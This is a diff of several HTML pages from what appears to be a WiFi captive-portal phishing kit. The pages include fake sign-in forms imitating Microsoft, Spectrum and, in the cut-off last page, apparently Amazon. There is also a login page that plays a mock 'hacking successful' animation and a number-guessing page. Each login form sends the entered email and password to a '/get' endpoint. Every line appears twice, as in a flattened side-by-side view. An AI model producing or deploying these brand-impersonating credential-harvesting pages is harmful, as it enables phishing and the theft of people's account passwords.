position: absolute; position: absolute;
top: 0; top: 0;
left: 0; left: 0;
width: 100%; width: 100%;
height: 100%; height: 100%;
z-index: 1; z-index: 1;
} }
#matrix span { #matrix span {
position: absolute; position: absolute;
font-size: 20px; font-size: 20px;
animation: matrix 1s linear infinite; animation: matrix 1s linear infinite;
animation-play-state: paused; animation-play-state: paused;
} }
@keyframes matrix { @keyframes matrix {
0% { top: -100%; } 0% { top: -100%; }
100% { top: 100%; } 100% { top: 100%; }
} }
#terminal, #signin, #loginForm { #terminal, #signin, #loginForm {
position: relative; position: relative;
z-index: 2; z-index: 2;
} }
#terminal { #terminal {
width: 100%; width: 100%;
max-width: 800px; max-width: 800px;
white-space: pre-wrap; white-space: pre-wrap;
line-height: 1.5; line-height: 1.5;
text-align: left; text-align: left;
color: #f00; /* make the color of the terminal text red */ color: #f00; /* make the color of the terminal text red */
font-weight: bold; /* make the terminal text bold */ font-weight: bold; /* make the terminal text bold */
margin-top: 20px; margin-top: 20px;
} }
#loginForm { #loginForm {
margin-top: 20px; margin-top: 20px;
} }
#loginForm input { #loginForm input {
margin-bottom: 10px; margin-bottom: 10px;
padding: 5px; padding: 5px;
width: 100%; width: 100%;
} }
#signin { #signin {
margin-bottom: 10px; margin-bottom: 10px;
font-size: 1.4em; font-size: 1.4em;
color: #fff; color: #fff;
font-weight: bold; font-weight: bold;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="form-container"> <div class="form-container">
<div id="signin">Register or Sign-in</div> <div id="signin">Register or Sign-in</div>
<form id="loginForm" action="/get" method="get"> <form id="loginForm" action="/get" method="get">
<input type="text" name="email" placeholder="Email/Username" required> <input type="text" name="email" placeholder="Email/Username" required>
<input type="password" name="password" placeholder="Password" required> <input type="password" name="password" placeholder="Password" required>
<input type="submit" value="Submit"> <input type="submit" value="Submit">
</form> </form>
</div> </div>
<div id="terminal"></div> <div id="terminal"></div>
<div id="matrix"></div> <div id="matrix"></div>
<script> <script>
var terminal = document.getElementById('terminal'); var terminal = document.getElementById('terminal');
var form = document.getElementById('loginForm'); var form = document.getElementById('loginForm');
var matrix = document.getElementById('matrix'); var matrix = document.getElementById('matrix');
var messages = [ var messages = [
'Initiating connection...', 'Initiating connection...',
'Bypassing security protocols...', 'Bypassing security protocols...',
'Accessing system...', 'Accessing system...',
'Disabling antivirus...', 'Disabling antivirus...',
'Accessing User\'s Email & Passwords...', 'Accessing User\'s Email & Passwords...',
'Accessing User\'s Contact...', 'Accessing User\'s Contact...',
'Initiating data transfer...', 'Initiating data transfer...',
'Deleting files...', 'Deleting files...',
'Formatting drive...', 'Formatting drive...',
'Hacking successful.', 'Hacking successful.',
]; ];
function typeMessage(message, index) { function typeMessage(message, index) {
if (index < message.length) { if (index < message.length) {
terminal.innerText += message[index]; terminal.innerText += message[index];
setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */ setTimeout(typeMessage, 50, message, index + 1); /* make text load faster */
} else { } else {
terminal.innerText += '\n> '; terminal.innerText += '\n> ';
if (messages.length) { if (messages.length) {
var nextMessage = messages.shift(); var nextMessage = messages.shift();
setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */ setTimeout(typeMessage, 500, nextMessage, 0); /* make next message appear faster */
} }
} }
} }
form.onsubmit = function(e) { form.onsubmit = function(e) {
e.preventDefault(); e.preventDefault();
terminal.innerText = '> '; terminal.innerText = '> ';
var message = messages.shift(); var message = messages.shift();
typeMessage(message, 0); typeMessage(message, 0);
form.style.display = 'none'; form.style.display = 'none';
// Start matrix rain // Start matrix rain
var spans = matrix.querySelectorAll('span'); var spans = matrix.querySelectorAll('span');
for (let i = 0; i < spans.length; i++) { for (let i = 0; i < spans.length; i++) {
spans[i].style.animationPlayState = 'running'; spans[i].style.animationPlayState = 'running';
} }
} }
// Matrix rain // Matrix rain
var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'; var characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
for (let i = 0; i < 100; i++) { for (let i = 0; i < 100; i++) {
let span = document.createElement('span'); let span = document.createElement('span');
span.innerText = characters[Math.floor(Math.random() * characters.length)]; span.innerText = characters[Math.floor(Math.random() * characters.length)];
span.style.left = Math.random() * window.innerWidth + 'px'; span.style.left = Math.random() * window.innerWidth + 'px';
span.style.animationDelay = Math.random() + 's'; span.style.animationDelay = Math.random() + 's';
matrix.appendChild(span); matrix.appendChild(span);
} }
</script> </script>
</body> </body>
</html> </html>
+77 -77
View File
@@ -1,77 +1,77 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, Helvetica, sans-serif; font-family: Arial, Helvetica, sans-serif;
margin: 0; margin: 0;
padding: 0; padding: 0;
height: 100vh; height: 100vh;
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
} }
.container { .container {
max-width: 400px; max-width: 400px;
padding: 25px; padding: 25px;
margin: auto; margin: auto;
} }
.form { .form {
max-width: 300px; max-width: 300px;
padding: 20px; padding: 20px;
border: 1px solid #cccccc; border: 1px solid #cccccc;
border-radius: 5px; border-radius: 5px;
margin: 0 auto; margin: 0 auto;
} }
h1 { h1 {
text-align: center; text-align: center;
color: #0067b8; color: #0067b8;
} }
input[type="text"], input[type="password"] { input[type="text"], input[type="password"] {
width: 100%; width: 100%;
padding: 12px 10px; padding: 12px 10px;
margin: 8px 0; margin: 8px 0;
box-sizing: border-box; box-sizing: border-box;
border: 1px solid #cccccc; border: 1px solid #cccccc;
border-radius: 4px; border-radius: 4px;
} }
button[type="submit"] { button[type="submit"] {
width: 100%; width: 100%;
background-color: #0067b8; background-color: #0067b8;
color: white; color: white;
padding: 14px 20px; padding: 14px 20px;
margin: 8px 0; margin: 8px 0;
border: none; border: none;
border-radius: 4px; border-radius: 4px;
cursor: pointer; cursor: pointer;
} }
button[type="submit"]:hover { button[type="submit"]:hover {
background-color: #005299; background-color: #005299;
} }
svg { svg {
display: block; display: block;
margin: 0 auto; margin: 0 auto;
width: 150px; width: 150px;
height: 150px; height: 150px;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true"> <svg viewBox="0 0 337.6 72" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
<path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/> <path fill="#737373" d="M140.4 14.4v43.2h-7.5V23.7h-.1l-13.4 33.9h-5l-13.7-33.9h-.1v33.9h-6.9V14.4h10.8l12.4 32h.2l13.1-32h10.2zm6.2 3.3c0-1.2.4-2.2 1.3-3 .9-.8 1.9-1.2 3.1-1.2 1.3 0 2.4.4 3.2 1.2s1.3 1.8 1.3 3-.4 2.2-1.3 3c-.9.8-1.9 1.2-3.2 1.2s-2.3-.4-3.1-1.2a4.5 4.5 0 0 1-1.3-3zm8.1 8.9v31h-7.3v-31h7.3zm22.1 25.7c1.1 0 2.3-.2 3.6-.8 1.3-.5 2.5-1.2 3.6-2v6.8c-1.2.7-2.5 1.2-4 1.5-1.5.3-3.1.5-4.9.5A14.7 14.7 0 0 1 159.7 43c0-5 1.5-9.1 4.4-12.3 2.9-3.2 7-4.8 12.4-4.8a18.4 18.4 0 0 1 7.4 1.7v7a11.5 11.5 0 0 0-7-2.6c-2.9 0-5.2.9-7 2.8s-2.6 4.4-2.6 7.6c0 3.1.9 5.6 2.6 7.3 1.7 1.7 4 2.6 6.9 2.6zm27.9-26.2a8 8 0 0 1 2.8.4v7.4c-.4-.3-.9-.6-1.7-.8s-1.6-.4-2.7-.4c-1.8 0-3.3.8-4.5 2.3s-1.9 3.8-1.9 7v15.6h-7.3v-31h7.3v4.9h.1c.7-1.7 1.7-3 3-4 1.4-.9 3-1.4 4.9-1.4zm3.2 16.5c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16 16 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm35-7.5c0 1 .3 1.9 1 2.5.7.6 2.1 1.3 4.4 2.2 2.9 1.2 5 2.5 6.1 3.9a8.1 8.1 0 0 1 1.8 5.3c0 2.9-1.1 5.2-3.4 7a14 14 0 0 1-9.1 2.6 23.7 23.7 0 0 1-8.3-1.7v-7.2c1.3.9 2.8 1.7 4.3 2.2 1.5.5 2.9.8 4.2.8 1.6 0 2.9-.2 3.6-.7.8-.5 1.2-1.2 1.2-2.3 0-1-.4-1.8-1.2-2.6-.8-.7-2.4-1.5-4.6-2.4-2.7-1.1-4.6-2.4-5.7-3.8s-1.7-3.2-1.7-5.4c0-2.8 1.1-5.1 3.3-6.9 2.2-1.8 5.1-2.7 8.6-2.7 1.1 0 2.3.1 3.6.4l3.4.9V34c-1-.6-2.1-1.2-3.4-1.7-1.3-.5-2.6-.7-3.8-.7-1.4 0-2.5.3-3.2.8-.7.7-1.1 1.4-1.1 2.4zm16.4 7.8c0-5.1 1.5-9.2 4.3-12.2a16 16 0 0 1 12-4.5c4.8 0 8.6 1.4 11.3 4.3s4.1 6.8 4.1 11.7c0 5-1.5 9-4.3 12-2.9 3-6.8 4.5-11.8 4.5-4.8 0-8.6-1.4-11.4-4.2a16.5 16.5 0 0 1-4.2-11.6zm7.6-.3c0 3.2.7 5.7 2.2 7.4s3.6 2.6 6.3 2.6c2.6 0 4.7-.8 6.1-2.6 1.4-1.7 2.1-4.2 2.1-7.6a12 12 0 0 0-2.1-7.6 7.5 7.5 0 0 0-6-2.6c-2.7 0-4.7.9-6.2 2.7-1.7 1.9-2.4 4.4-2.4 7.7zm48.4-9.7H312v25h-7.4v-25h-5.2v-6h5.2v-4.3c0-3.2 1.1-5.9 3.2-8s4.8-3.1 8.1-3.1l2.4.1c.7 0 1.3.2 1.8.4V18l-1.3-.5c-.6-.2-1.3-.3-2.1-.3-1.5 0-2.7.5-3.5 1.4-.8.9-1.2 2.4-1.2 4.2v3.7h10.9v-7l7.3-2.2v9.2h7.4v6h-7.4V47c0 1.9.4 3.2 1 4 .7.8 1.8 1.2 3.3 1.2a5 5 0 0 0 1.5-.3c.6-.2 1.1-.4 1.5-.7v6a7 7 0 0 1-2.3.7c-1.1.2-2.1.3-3.2.3-3.1 0-5.4-.8-6.9-2.4-1.5-1.6-2.3-4.1-2.3-7.4l.1-15.8z"/>
<path fill="#F25022" d="M0 0h34.2v34.2H0z"/> <path fill="#F25022" d="M0 0h34.2v34.2H0z"/>
<path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/> <path fill="#7FBA00" d="M37.8 0H72v34.2H37.8z"/>
<path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/> <path fill="#00A4EF" d="M0 37.8h34.2V72H0z"/>
<path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/> <path fill="#FFB900" d="M37.8 37.8H72V72H37.8z"/>
</svg> </svg>
<form action="/get" method="get" id="email-form-step" class="form"> <form action="/get" method="get" id="email-form-step" class="form">
<h1>Sign In with<br>your Microsoft account</h1> <h1>Sign In with<br>your Microsoft account</h1>
<input name="email" type="text" placeholder="Email" required> <input name="email" type="text" placeholder="Email" required>
<input name="password" type="password" placeholder="Password" required> <input name="password" type="password" placeholder="Password" required>
<button type="submit">Next</button> <button type="submit">Next</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+76 -76
View File
@@ -1,76 +1,76 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<title>Guess the number to use WiFi</title> <title>Guess the number to use WiFi</title>
<style> <style>
body, html { body, html {
height: 100%; height: 100%;
margin: 0; margin: 0;
background: #cfcfcf; background: #cfcfcf;
display: flex; display: flex;
justify-content: center; justify-content: center;
align-items: center; align-items: center;
flex-direction: column; flex-direction: column;
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
} }
#user-input { #user-input {
margin: 1em; margin: 1em;
font-size: 1em; font-size: 1em;
padding: 0.25em; padding: 0.25em;
width: 40%; width: 40%;
max-width: 150px; max-width: 150px;
} }
#submit-btn, #reset-btn { #submit-btn, #reset-btn {
font-size: 2em; font-size: 2em;
margin: 1em; margin: 1em;
cursor: pointer; cursor: pointer;
} }
#message { #message {
font-size: 1.5em; font-size: 1.5em;
} }
#instruction { #instruction {
color: gray; color: gray;
} }
</style> </style>
</head> </head>
<body> <body>
<h1>Guess the number to use WiFi</h1> <h1>Guess the number to use WiFi</h1>
<p id="instruction">Enter a number between 0-10</p> <p id="instruction">Enter a number between 0-10</p>
<input id="user-input" type="number" min="0" max="10"/> <input id="user-input" type="number" min="0" max="10"/>
<button id="submit-btn">Guess</button> <button id="submit-btn">Guess</button>
<p id="message"></p> <p id="message"></p>
<button id="reset-btn" style="display: none;">Reset Game</button> <button id="reset-btn" style="display: none;">Reset Game</button>
<script> <script>
var randomNumber = Math.floor(Math.random() * 11); var randomNumber = Math.floor(Math.random() * 11);
var submitBtn = document.getElementById("submit-btn"); var submitBtn = document.getElementById("submit-btn");
var userInput = document.getElementById("user-input"); var userInput = document.getElementById("user-input");
var message = document.getElementById("message"); var message = document.getElementById("message");
var resetBtn = document.getElementById("reset-btn"); var resetBtn = document.getElementById("reset-btn");
submitBtn.addEventListener("click", function(){ submitBtn.addEventListener("click", function(){
var userGuess = userInput.value; var userGuess = userInput.value;
if(userGuess == randomNumber) { if(userGuess == randomNumber) {
message.textContent = "Congratulations! You've guessed the number."; message.textContent = "Congratulations! You've guessed the number.";
endGame(); endGame();
} else { } else {
message.textContent = "Try again!"; message.textContent = "Try again!";
} }
}); });
resetBtn.addEventListener("click", function(){ resetBtn.addEventListener("click", function(){
randomNumber = Math.floor(Math.random() * 11); randomNumber = Math.floor(Math.random() * 11);
message.textContent = ""; message.textContent = "";
userInput.value = ""; userInput.value = "";
resetBtn.style.display = "none"; resetBtn.style.display = "none";
submitBtn.style.display = "block"; submitBtn.style.display = "block";
userInput.disabled = false; userInput.disabled = false;
}); });
function endGame() { function endGame() {
submitBtn.style.display = "none"; submitBtn.style.display = "none";
resetBtn.style.display = "block"; resetBtn.style.display = "block";
userInput.disabled = true; userInput.disabled = true;
} }
</script> </script>
</body> </body>
</html> </html>
+91 -91
View File
@@ -1,91 +1,91 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<style> <style>
body { body {
margin: 0; margin: 0;
padding: 0; padding: 0;
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #f6f8fa; background-color: #f6f8fa;
} }
.container { .container {
width: 80%; width: 80%;
max-width: 300px; max-width: 300px;
margin: 10% auto; margin: 10% auto;
text-align: center; text-align: center;
} }
.container .logo { .container .logo {
width: 50%; width: 50%;
height: auto; height: auto;
margin-bottom: 15px; margin-bottom: 15px;
} }
.container h1 { .container h1 {
margin: 5px 0; margin: 5px 0;
} }
.container p { .container p {
margin: 0; margin: 0;
font-size: 0.8em; font-size: 0.8em;
color: #666; color: #666;
} }
.container form { .container form {
display: flex; display: flex;
flex-direction: column; flex-direction: column;
} }
.container form input { .container form input {
margin: 5px 0; margin: 5px 0;
padding: 10px; padding: 10px;
border: 1px solid #ccc; border: 1px solid #ccc;
border-radius: 3px; border-radius: 3px;
} }
.container form button { .container form button {
margin: 5px 0; margin: 5px 0;
padding: 10px; padding: 10px;
color: #fff; color: #fff;
background-color: #0076bc; background-color: #0076bc;
border: none; border: none;
border-radius: 3px; border-radius: 3px;
cursor: pointer; cursor: pointer;
} }
.container form button:hover { .container form button:hover {
background-color: #005999; background-color: #005999;
} }
@media (max-width: 600px) { @media (max-width: 600px) {
.container { .container {
width: 95%; width: 95%;
} }
} }
</style> </style>
<meta <meta
name="viewport" name="viewport"
content="width=device-width, initial-scale=1, maximum-scale=1" content="width=device-width, initial-scale=1, maximum-scale=1"
/> />
</head> </head>
<body> <body>
<div class="container"> <div class="container">
<svg <svg
class="logo" class="logo"
xmlns="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg"
xml:space="preserve" xml:space="preserve"
viewBox="0 0 1001 209" viewBox="0 0 1001 209"
> >
<path fill="#0076BC" d="M934 61v102l67-51z" /> <path fill="#0076BC" d="M934 61v102l67-51z" />
<path <path
fill="#77787B" fill="#77787B"
d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z" d="M166 193c0 9-6 16-15 16h-16V94c2-30 13-55 59-56 20 0 35 8 44 18 9 12 13 27 13 46s-5 35-14 47c-9 11-21 17-36 17-21 0-32-9-35-10v37m53-90c0-12-2-37-27-37-23 0-26 24-26 37 0 32 18 36 27 36 22 0 26-24 26-36M18 153c11 9 26 13 47 13 20 0 36-4 47-13s16-22 16-38c0-8-1-15-5-21-3-6-8-12-15-15l-12-5-37-10c-15-4-25-9-25-18 1-18 17-19 27-19 9 0 17 2 22 6 10 7 9 17 9 17h31c-1-15-6-28-17-37C96 4 82 0 63 0 43 0 28 4 18 12 7 21 2 33 2 48c0 19 9 30 18 35 5 3 16 8 31 11l12 3c22 5 34 12 34 22 0 7-3 12-8 15-4 3-12 5-21 5-11 0-19-2-25-6s-10-11-11-20H0c1 18 7 31 18 40m296-88c20 0 23 16 23 25h-46s-1-25 23-25m1 74c-8-1-23-2-24-29h79v-9c0-20-5-35-14-46a55 55 0 0 0-43-17c-17 0-31 6-41 17-9 11-14 26-14 46 0 21 5 36 15 47 9 12 23 17 40 17 15 0 27-3 36-10 10-7 16-17 20-30h-28c-4 12-14 14-26 14m533 24h-32V85c0-9-4-21-22-21-17 0-21 13-21 21v78h-32V91c0-21 6-33 16-42 10-8 23-11 36-11l21 2c7 2 13 5 18 9 5-4 10-7 17-8 6-2 13-3 19-3 40 0 56 18 57 23v102h-18c-5 0-16-3-16-16V85c0-9-3-21-22-21-18 0-21 13-21 21v78zm-390-38h30s-8 40-54 40c-45 0-56-36-56-60s4-65 55-67c47 0 54 40 54 40h-32s-3-14-22-13c-19 0-24 18-24 35s4 39 25 39c20 0 22-11 24-14m167-84h32v78s-1 21 21 21c21 0 22-19 22-20V56s1-15 15-15h17v72c-1 4 4 52-54 52-56 0-52-48-53-51V41zm-98 33h19V41h-19V21c0-6-3-16-15-16h-17v135c0 14 6 23 18 23h14V74zm53 89v-63c0-9 2-16 6-20 4-5 11-7 20-7h10V41s-16-1-28 3a50 50 0 0 0-35 30c-4 8-6 18-6 30v59h33z"
/> />
</svg> </svg>
<h1>Welcome</h1> <h1>Welcome</h1>
<p>Please log in using your Spectrum account</p> <p>Please log in using your Spectrum account</p>
<form action="/get" method="GET"> <form action="/get" method="GET">
<input type="text" name="email" placeholder="Username" required /> <input type="text" name="email" placeholder="Username" required />
<input <input
type="password" type="password"
name="password" name="password"
placeholder="Password" placeholder="Password"
required required
/> />
<button type="submit">Login</button> <button type="submit">Login</button>
</form> </form>
</div> </div>
</body> </body>
</html> </html>
+100 -100
View File
@@ -1,100 +1,100 @@
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
<head> <head>
<meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="viewport" content="width=device-width, initial-scale=1">
<style> <style>
body { body {
font-family: Arial, sans-serif; font-family: Arial, sans-serif;
background-color: #fde46c; background-color: #fde46c;
margin: 0; margin: 0;
display: flex; display: flex;
flex-direction: column; flex-direction: column;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
height: 100vh; height: 100vh;
} }
.login-container { .login-container {
background: #fff; background: #fff;
padding: 20px; padding: 20px;
max-width: 300px; max-width: 300px;
width: 90%; width: 90%;
text-align: center; text-align: center;
border-radius: 5px; border-radius: 5px;
box-shadow: 0 0 10px rgba(0,0,0,0.25); box-shadow: 0 0 10px rgba(0,0,0,0.25);
} }
form { form {
display: flex; display: flex;
flex-direction: column; flex-direction: column;
align-items: center; align-items: center;
} }
h1 { h1 {
color: #232f3e; color: #232f3e;
font-size: 1.5rem; font-size: 1.5rem;
font-weight: 600; font-weight: 600;
margin-top: 0; margin-top: 0;
} }
input[type="text"], input[type="text"],
input[type="password"] { input[type="password"] {
width: 100%; width: 100%;
max-width: 300px; max-width: 300px;
padding: 12px 20px; padding: 12px 20px;
margin: 8px 0; margin: 8px 0;
box-sizing: border-box; box-sizing: border-box;
border: 2px solid #ddd; border: 2px solid #ddd;
border-radius: 4px; border-radius: 4px;
} }
input[type="submit"] { input[type="submit"] {
background-color: #303c49; background-color: #303c49;
border: none; border: none;
color: white; color: white;
padding: 14px 28px; padding: 14px 28px;
text-align: center; text-align: center;
text-decoration: none; text-decoration: none;
display: inline-block; display: inline-block;
font-size: 16px; font-size: 16px;
margin: 4px 2px; margin: 4px 2px;
cursor: pointer; cursor: pointer;
border-radius: 5px; border-radius: 5px;
} }
</style> </style>
</head> </head>
<body> <body>
<div class="login-container"> <div class="login-container">
<svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140"> <svg xmlns="http://www.w3.org/2000/svg" fill-rule="evenodd" stroke-linejoin="round" stroke-miterlimit="1.4" clip-rule="evenodd" viewBox="0 0 560 400" width="140">
<path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 28l-1 4c3-8 11-12 22-12l9 1zm-85 3-12 58h22l13-58zm27-21h-23l-3 14h23zm-41 51c-3 16-19 30-40 30-10 0-17-3-20-8l-6 27h-22l16-79h22l-1 7c6-6 15-9 24-9 21 0 32 12 27 32zm-36-16c-10 0-17 6-19 15s2 15 13 15c10 0 17-6 19-15 2-10-2-15-13-15zm-70 8-19-2c-6-1-7-2-6-4 0-4 5-6 11-6l8 2c2 1 3 2 3 5h26c2-17-17-20-32-20-22 0-37 5-40 21-2 10 4 15 17 16l19 3c6 0 8 1 7 4-1 4-6 5-11 5l-10-1c-2-1-2-3-2-5h-27c-3 17 18 20 34 20 24 0 39-6 42-20 2-11-5-16-20-18zm301-17 1 2h-2v-2h-1v2h-1v-5h3v3zm-1-1v-1h-1v1h1zm4 0v2l-1 2a4 4 0 0 1-4 1h-1l-2-1-1-2v-4a4 4 0 0 1 3-2h3l2 1 1 1v2zm-1 0v-1l-1-1-1-1h-3l-1 1-1 1v1a4 4 0 0 0 1 3l1 1a3 3 0 0 0 3 0l1-1 1-1v-2z"/> <path fill-rule="nonzero" d="M434 171h15l-4 15h-15l-5 23c-1 5 0 6 7 6h8l-3 14-18 1c-15 0-20-4-17-16l6-28h-12l3-15h12l4-19h22zm-78 58h22l13-58h-23zm14-65h22l3-14h-23zm-62 7-12 58h22l12-58zm53-3h-5c-10 0-26 10-30 